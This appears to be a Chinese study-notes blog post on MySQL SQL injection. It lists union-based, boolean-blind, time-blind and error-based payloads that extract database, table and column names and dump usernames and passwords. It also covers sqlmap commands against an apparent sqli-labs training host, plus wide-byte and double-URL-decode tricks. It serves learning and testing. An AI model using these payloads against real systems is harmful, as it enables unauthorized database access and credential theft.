SQl注入学习

 一、mysql schema数据库结构学习

        1、schema表                

                   schema_name字段为mysql所有数据库的名字

        2、tables表               

                    table_schmate字段为所有数据库的名字
                    table_name字段为所有表的名字 

        3、columns表

                    table_schmate字段为所有数据库的名字
                    table_name字段为所有表的名字
                    column_name字段为所有表列的名字

二、手动注入学习

        1、判断注入点    

                (1)报错判断

?id =1 and 1= 1 #    无异常    ?id =1 and 1= 2 #    报错 存在数字型注入点
?id =1  'and 1=1 #   无异常    ?id =1  'and 1=2 #    报错存在字符型注入点

                (2)盲注判断 

输入 ?id =1' and sleep(5) #,感觉到明显延迟;存在字符型注入点
输入 ?id =1 and sleep(5) #,感觉到明显延迟;存在数字型注入

                 

        2、存在回显采用联合查询注入(以字符型为例)

                (1)判断列数

?id =1’ orderby 4 #
?id =1' union select 1,2 ,3 # 

                (2)爆库名

?id=1' union select 1,database(),3 #

                (3)爆表名

?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #

                (4)爆字段名

id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

                   (5)查数据(0x5c是\的十六进制编码,为了将uname与pwd分开,也可改成其他任意字符)

id=-1' union select 1,group_concat(username,0x5c,password),3 from security.users --+ 

        3、无明显回显采用布尔盲注 

                 (1)猜解当前数据库名

1' and length(database())=4 #判断数据库长度:
1' and ascii(substr(database(),1,1))>97# 根据返回结果,采用二分法采数据库名单个字母

                 (2)猜表名

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# 猜表的个数
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1# 猜表的长度
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 根据返回结果,采用二分法猜表单个字母

                 (3)猜解表中的字段名

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 猜字段个数
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 #猜字段长度
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))=1 #猜字段名

        4、无回显采用时间盲注 

                 (1)首先猜解数据名长度

1' and if(length(database())=1,sleep(5),1) # 没有延迟
If函数 IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。
1' and if(ascii(substr(database(),1,1))=1,sleep(5),1) # 没有延迟

                 (2)猜解数据库中的表名

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1,sleep(5),1) # 猜数据库名

                 (3)猜解表中的字段名

1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟
1' and if(ascii(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1,1))=1,sleep(5),1) # 猜字段名字

         5、通过触发 SQL 错误来诱导条件响应

 xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a

 xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

三、sqlmap工具简单使用

        1、寻找注入点

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入 

        2、爆破库名 

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库

        3、爆破表名 

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表

        4、爆破列名 

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列

        5、爆破所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据 

四、宽字节注入学习

        1、什么是宽字节

        如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节,像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节。

        2、宽字节注入原理

        当指定客户端发送 SQL 语句时所采用的字符集编码方式为“character_set_client = gbk”等宽字节编码时,宽字节编码会将两个单字节编码变成一个宽字节编码。如:%df%5c%27  -> 運'  
        注意:如果该参数未指定,则使用操作系统的默认字符集编码方式作为客户端字符集编码方式。

        3、宽字节注入过程

        采用宽字节注入时,php通过addslashes函数将" %df%27'"进行转移成" %df%5c%27" 。当指定客户端发送 SQL 语句时所采用GBK字符集编码方式进行处理时,由ASCII字符%df%5c%27变成GBK字符" 運' ",最终" ' "被闭合。

%27='

%5c=/

五、二次urldecode注入

        当提交1.php?id=1%2527,由于无单引号不会进行转义,传到webserver时自动解码为id=1%27,如果程序中存在urldecode等url解码函数时,则解码后的结果为id=1‘,单引号成功出现引发注入。

        


    

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值